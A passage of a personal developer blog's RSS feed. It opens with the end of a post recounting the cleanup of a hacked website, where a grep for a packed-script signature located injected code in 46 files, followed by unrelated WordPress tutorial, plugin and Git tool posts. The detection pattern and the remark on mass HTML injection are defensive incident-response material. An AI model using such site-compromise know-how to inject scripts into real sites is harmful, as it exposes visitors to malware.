<p>Not 100% sure if it is the iframe *and* the script, or just the iframe. </p>
<p>How did I fix it?</p>
<p>ssh&#8217;ed into the site and ran this command &#8220;grep -ir function\(p,a,c,k,e,d\) *&#8221;. Found that it was in 46 files. Downloaded the entire site and then did a global find/replace in Sublime Text (Ctrl + Shift + h) on the entire script (that I pasted above) and replaced it with nothing. Then I did a follow up search on &#8220;function(p,a,c,k,e,d)&#8221; again to confirm it was cleaned. Then I deleted the contents of my site on the server and re-uploaded everything I wanted up there.</p>
<p>So, how did this happen? Who knows. I definitely <a href="http://www.google.com/safebrowsing/diagnostic?site=AS:26347&#038;hl=en">wasn&#8217;t the only one</a>. I had, within the last week, used a Chrome App called ShiftEdit and given it my ftp credentials, so I initially thought it might have been them somehow. But then I realized that I share my server with at least 100 other sites. Chances are 99% of those people don&#8217;t know anything about security, and a good 20 of them probably use &#8220;password1&#8243; as their password. If any of those people got hacked, it&#8217;s just a small step once you&#8217;re on the box to wrangle root access and run a shell script that eats HTML documents and poops them out with your script inside of them (no, I don&#8217;t know how to do this, but I could most likely be doing it by the end of the week were I so nefariously inclined. It&#8217;s not hard. USE A GOOD PASSWORD and DON&#8217;T REUSE IT ACROSS SITES).</p>
<p>So, anywho, I have cleaned my site and submitted my site to Google for verification so that we can get this error page back down. DON&#8217;T click the &#8220;proceed anyway&#8221; link. Because I&#8217;m just a guy and I could still be infected and not know it. Always just click the &#8220;go back&#8221; button. Once Google has OK&#8217;d it, the site will become available (as hallelujahbutton.com now has).</p>
<p>THANK YOU GOOGLE!!! YOU&#8217;RE AWESOME!!! Except that I *really* wish your error pages were more specific on EXACTLY what the problem was instead of making me hunt and hunt for it.</p>
<p>Also, I&#8217;ve deleted hallelujahbutton.com and set the domain name to expire. I completely forgot it existed and am too busy to want to deal with it anymore so, pruned!</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=aFAqE-6T194:DK2flHBK0Q8:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=aFAqE-6T194:DK2flHBK0Q8:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=aFAqE-6T194:DK2flHBK0Q8:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=aFAqE-6T194:DK2flHBK0Q8:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=aFAqE-6T194:DK2flHBK0Q8:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=aFAqE-6T194:DK2flHBK0Q8:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=aFAqE-6T194:DK2flHBK0Q8:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=aFAqE-6T194:DK2flHBK0Q8:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=aFAqE-6T194:DK2flHBK0Q8:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=aFAqE-6T194:DK2flHBK0Q8:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=aFAqE-6T194:DK2flHBK0Q8:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=TzevzKxY174" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=aFAqE-6T194:DK2flHBK0Q8:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=dnMXMwOfBR0" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ChomperStomping/~4/aFAqE-6T194" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.chomperstomp.com/oh-shnikes-weve-been-haxored/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://blog.chomperstomp.com/oh-shnikes-weve-been-haxored/</feedburner:origLink></item>
		<item>
		<title>WordPress Settings API – Adding Options to Existing Page</title>
		<link>http://feedproxy.google.com/~r/ChomperStomping/~3/iIgZWb8SOQE/</link>
		<comments>http://blog.chomperstomp.com/wordpress-settings-api-adding-options-to-existing-page/#comments</comments>
		<pubDate>Wed, 23 Nov 2011 05:48:32 +0000</pubDate>
		<dc:creator>Christopher McCulloh</dc:creator>
				<category><![CDATA[programming concepts]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[How to]]></category>
		<category><![CDATA[options]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[settings]]></category>
		<category><![CDATA[spotlight]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.chomperstomp.com/?p=956</guid>
		<description><![CDATA[Adding new options to an existing page in the dashboard in wordpress can be maddening. I&#8217;ve literally spent 15+ hours dealing with this horrible API at this point. To the point where I wrote two different wrappers for it. Here are some notes chiseled along the way for any poor soul following me down this [...]]]></description>
			<content:encoded><![CDATA[<p>Adding new options to an existing page in the dashboard in wordpress can be maddening. I&#8217;ve literally spent 15+ hours dealing with this horrible API at this point. To the point where I wrote two different wrappers for it.</p>
<p>Here are some notes chiseled along the way for any poor soul following me down this obtuse path.</p>
<p>Today I&#8217;ll focus on adding options to an existing page. Hopefully soon I&#8217;ll do one on making a new page.</p>
<p>Checklist/Overview:<br />
1. Hook into the admin init action (<a href="http://codex.wordpress.org/Function_Reference/add_action">add_action(&#8216;admin_init&#8217;)</a>)<br />
2. Create your section (<a href="http://codex.wordpress.org/Function_Reference/add_settings_section">add_settings_section</a>)<br />
3. Output hidden fields so settings will save (<a href="http://codex.wordpress.org/Function_Reference/settings_fields">settings_fields</a>)<br />
4. Create your fields (<a href="http://codex.wordpress.org/Function_Reference/add_settings_field">add_settings_field</a> and <a href="http://codex.wordpress.org/Function_Reference/register_setting">register_setting</a>)</p>
<p>Your options will be available through the usual &#8220;<a href="http://codex.wordpress.org/Function_Reference/get_option">get_option</a>&#8221; means&#8230;</p>
<p>Step 1) Hook into the admin init action:</p>
<p><script src="https://gist.github.com/1387972.js?file=gistfile1.aw"></script></p>
<p>Step 2) Create your init function (that you just hooked into the admin_init action):</p>
<p><script src="https://gist.github.com/1387974.js?file=gistfile1.aw"></script></p>
<p>Step 3) Create your own section register API</p>
<p><script src="https://gist.github.com/1387976.js?file=gistfile1.aw"></script></p>
<p>Step 4) Create your section callback functions</p>
<p>It is really annoying that the API doesn&#8217;t allow you to pass params to this callback function, which means you have to define each one individually&#8230;</p>
<p><script src="https://gist.github.com/1387980.js?file=gistfile1.aw"></script></p>
<p>Step 5) Create your own field register API</p>
<p><script src="https://gist.github.com/1387981.js?file=gistfile1.aw"></script></p>
<p>Step 6) Create your global callback function</p>
<p><script src="https://gist.github.com/1387983.js?file=gistfile1.aw"></script></p>
<p>Step 7) Register your section(s)</p>
<p>This goes in that init function  you made in step 2</p>
<p><script src="https://gist.github.com/1387988.js?file=gistfile1.aw"></script></p>
<p>Step <img src='http://blog.chomperstomp.com/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' /> Register your field(s)</p>
<p>This goes in that init function  you made in step 2</p>
<p><script src="https://gist.github.com/1387990.js?file=gistfile1.aw"></script></p>
<p>Here&#8217;s an example of a completed version of all this. This one adds a crap ton of custom thumbnail size options to the media panel. It is a really bad example as it is overly complex:</p>
<p><script src="https://gist.github.com/1387968.js?file=full_example.php"></script></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=iIgZWb8SOQE:ArJtdTLgado:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=iIgZWb8SOQE:ArJtdTLgado:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=iIgZWb8SOQE:ArJtdTLgado:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=iIgZWb8SOQE:ArJtdTLgado:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=iIgZWb8SOQE:ArJtdTLgado:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=iIgZWb8SOQE:ArJtdTLgado:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=iIgZWb8SOQE:ArJtdTLgado:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=iIgZWb8SOQE:ArJtdTLgado:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=iIgZWb8SOQE:ArJtdTLgado:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=iIgZWb8SOQE:ArJtdTLgado:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=iIgZWb8SOQE:ArJtdTLgado:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=TzevzKxY174" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=iIgZWb8SOQE:ArJtdTLgado:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=dnMXMwOfBR0" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ChomperStomping/~4/iIgZWb8SOQE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.chomperstomp.com/wordpress-settings-api-adding-options-to-existing-page/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.chomperstomp.com/wordpress-settings-api-adding-options-to-existing-page/</feedburner:origLink></item>
		<item>
		<title>Teaser of things to come…</title>
		<link>http://feedproxy.google.com/~r/ChomperStomping/~3/bQnMOtJPHAs/</link>
		<comments>http://blog.chomperstomp.com/teaser-of-things-to-come/#comments</comments>
		<pubDate>Sat, 22 Oct 2011 17:43:45 +0000</pubDate>
		<dc:creator>Christopher McCulloh</dc:creator>
				<category><![CDATA[autobiographical]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[prototyping]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[announcement]]></category>
		<category><![CDATA[continuum]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[plugins]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[reviews]]></category>
		<category><![CDATA[spotlight]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.chomperstomp.com/?p=937</guid>
		<description><![CDATA[Lots going on at ChomperStomp right now. I&#8217;ve been up to my eyeballs in work and in babies (3 month old and 2.5 year old). Here&#8217;s a little teaser for something big I&#8217;m working on: That&#8217;s right, custom user ratings in Continuum Coming November 1st! (will require either Continuum 1.9 or Continuum Refactor 11.1101, both [...]]]></description>
			<content:encoded><![CDATA[<p>Lots going on at ChomperStomp right now.</p>
<p>I&#8217;ve been up to my eyeballs in work and in babies (3 month old and 2.5 year old).</p>
<p>Here&#8217;s a little teaser for something big I&#8217;m working on:<br />
<img src="http://content.screencast.com/users/cmccullo/folders/Jing/media/c5cfa98b-47af-4497-ac64-89183eeb1a29/user_rating.png" alt="User Ratings!" /><br />
<img src="http://content.screencast.com/users/cmccullo/folders/Jing/media/f9123272-c3bc-47f3-9a37-04819ed1c57c/2011-10-22_2357.png" alt="User Ratings, hearts AND stars!" /><br />
<img src="http://content.screencast.com/users/cmccullo/folders/Jing/media/7d8ca17c-f9f1-4233-9802-410554f34c3f/2011-10-23_0000.png" alt="User Ratings, OPTIONS!!!!" /><br />
<img src="http://rookery9.aviary.com.s3.amazonaws.com/10461500/10461627_3d54.png" alt="User Ratings!" /></p>
<p>That&#8217;s right, custom user ratings in Continuum Coming November 1st! (will require either Continuum 1.9 or Continuum Refactor 11.1101, both coming 11/01/11)</p>
<p>Haven&#8217;t settled on the price yet, probably between $50 and $100 depending on how much longer it takes&#8230;</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=bQnMOtJPHAs:76eX9zIR8xs:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=bQnMOtJPHAs:76eX9zIR8xs:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=bQnMOtJPHAs:76eX9zIR8xs:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=bQnMOtJPHAs:76eX9zIR8xs:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=bQnMOtJPHAs:76eX9zIR8xs:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=bQnMOtJPHAs:76eX9zIR8xs:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=bQnMOtJPHAs:76eX9zIR8xs:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=bQnMOtJPHAs:76eX9zIR8xs:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=bQnMOtJPHAs:76eX9zIR8xs:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=bQnMOtJPHAs:76eX9zIR8xs:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=bQnMOtJPHAs:76eX9zIR8xs:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=TzevzKxY174" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=bQnMOtJPHAs:76eX9zIR8xs:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=dnMXMwOfBR0" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ChomperStomping/~4/bQnMOtJPHAs" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.chomperstomp.com/teaser-of-things-to-come/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.chomperstomp.com/teaser-of-things-to-come/</feedburner:origLink></item>
		<item>
		<title>I Am Your Grandma</title>
		<link>http://feedproxy.google.com/~r/ChomperStomping/~3/fnQFvc4fBP4/</link>
		<comments>http://blog.chomperstomp.com/i-am-your-grandma/#comments</comments>
		<pubDate>Mon, 18 Jul 2011 04:26:17 +0000</pubDate>
		<dc:creator>Christopher McCulloh</dc:creator>
				<category><![CDATA[movies]]></category>
		<category><![CDATA[prototyping]]></category>
		<category><![CDATA[spotlight]]></category>

		<guid isPermaLink="false">http://blog.chomperstomp.com/?p=850</guid>
		<description><![CDATA[This is a test to illustrate youtube video embeds in the continuum front-page slider feature. And yes, this is probably the most bizarre thing I have ever seen; other than the movie &#8220;Being John Malchovich&#8221;.]]></description>
			<content:encoded><![CDATA[<p>This is a test to illustrate youtube video embeds in the continuum front-page slider feature.</p>
<p>And yes, this is probably the most bizarre thing I have ever seen; other than the movie &#8220;Being John Malchovich&#8221;.</p>
<p><iframe width="560" height="349" src="http://www.youtube.com/embed/YfY1lfFu8j8" frameborder="0" allowfullscreen></iframe></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=fnQFvc4fBP4:FJ7X7c-TwLY:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=fnQFvc4fBP4:FJ7X7c-TwLY:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=fnQFvc4fBP4:FJ7X7c-TwLY:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=fnQFvc4fBP4:FJ7X7c-TwLY:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=fnQFvc4fBP4:FJ7X7c-TwLY:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=fnQFvc4fBP4:FJ7X7c-TwLY:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=fnQFvc4fBP4:FJ7X7c-TwLY:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=fnQFvc4fBP4:FJ7X7c-TwLY:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=fnQFvc4fBP4:FJ7X7c-TwLY:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=fnQFvc4fBP4:FJ7X7c-TwLY:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=fnQFvc4fBP4:FJ7X7c-TwLY:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=TzevzKxY174" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=fnQFvc4fBP4:FJ7X7c-TwLY:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=dnMXMwOfBR0" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ChomperStomping/~4/fnQFvc4fBP4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.chomperstomp.com/i-am-your-grandma/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.chomperstomp.com/i-am-your-grandma/</feedburner:origLink></item>
		<item>
		<title>Introducing GitScripts</title>
		<link>http://feedproxy.google.com/~r/ChomperStomping/~3/R-egjaBv32Y/</link>
		<comments>http://blog.chomperstomp.com/introducing-gitscripts/#comments</comments>
		<pubDate>Wed, 01 Jun 2011 02:27:09 +0000</pubDate>
		<dc:creator>Christopher McCulloh</dc:creator>
				<category><![CDATA[project management]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[announcement]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[extensions]]></category>
		<category><![CDATA[Git]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[spotlight]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://blog.chomperstomp.com/?p=796</guid>
		<description><![CDATA[GitScripts is a project that attempts to make Git user friendly. I have been working on it for almost a year now. When we implemented Git in my office, we were having a really hard time using it. We loved the flexibility of the tool, but the interface was killing us. Doing something that should [...]]]></description>
			<content:encoded><![CDATA[<p>GitScripts is a project that attempts to make Git user friendly.</p>
<p>I have been working on it for almost a year now. When we implemented Git in my office, we were having a really hard time using it. We loved the flexibility of the tool, but the interface was killing us. Doing something that should have been simple (merging one branch into another) was much too complex. Especially for people who were already struggling to remember how to use CVS through a GUI. These were very competent Java developers who just didn&#8217;t have time to learn a new complex tool, but recognized we needed it.</p>
<p>One day my co-worker jokingly demanded that I write a set of wrapper scripts that would make the merge command comprehensible (he continually tried to merge one branch into another by checking out the branch he wanted to merge FROM and typing &#8220;git merge branch_to_merge_to&#8221;, which had the disastrous result of silently doing the exact OPPOSITE of what he was trying to do. At which point he would happily push to origin. This would result in a lot of lost time, especially if we didn&#8217;t catch it right away. When you are already expending a lot of brain power on a ATG/ReD/PayPal integration project, you just don&#8217;t have anything left for learning a new SCM.). So I thought about it and realized that it SHOULDN&#8217;T MATTER what branch you are on, you should just be able to tell Git what you want to happen (merge branch1 into branch2) and Git should intelligently DO IT and then put you back where you were. So I made it happen.</p>
<p>This project is under continual development. I add something new to it every week as I find a new Git task pattern that I can automate. It finally got to the point where I couldn&#8217;t stand using Git without GitScripts, so I stripped out all of the company specific pieces and threw the whole thing up on GitHub. I&#8217;m hoping that much smarter people than me can take this code and run with it and make it even more amazing. See the <a href="http://blog.chomperstomp.com/projects/gitscripts/">project page</a> for some very basic documentation (more to come, haha, as always&#8230;) or, better yet, pop open the <a href="https://github.com/cmcculloh/GitScripts">github repository </a>and view the &#8220;<a href="https://github.com/cmcculloh/GitScripts/blob/master/bash_profile_config">bash_profile_config</a>&#8221; file to see all of the different commands (aliases) currently available.</p>
<p>Let me know what you think! Post any bugs/questions/feature requests on the project page please.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=R-egjaBv32Y:WWs1Q5iivpA:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=R-egjaBv32Y:WWs1Q5iivpA:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=R-egjaBv32Y:WWs1Q5iivpA:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=R-egjaBv32Y:WWs1Q5iivpA:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=R-egjaBv32Y:WWs1Q5iivpA:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=R-egjaBv32Y:WWs1Q5iivpA:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=R-egjaBv32Y:WWs1Q5iivpA:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=R-egjaBv32Y:WWs1Q5iivpA:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=R-egjaBv32Y:WWs1Q5iivpA:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=R-egjaBv32Y:WWs1Q5iivpA:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=R-egjaBv32Y:WWs1Q5iivpA:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=TzevzKxY174" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=R-egjaBv32Y:WWs1Q5iivpA:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=dnMXMwOfBR0" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ChomperStomping/~4/R-egjaBv32Y" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.chomperstomp.com/introducing-gitscripts/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://blog.chomperstomp.com/introducing-gitscripts/</feedburner:origLink></item>
	</channel>
</rss>

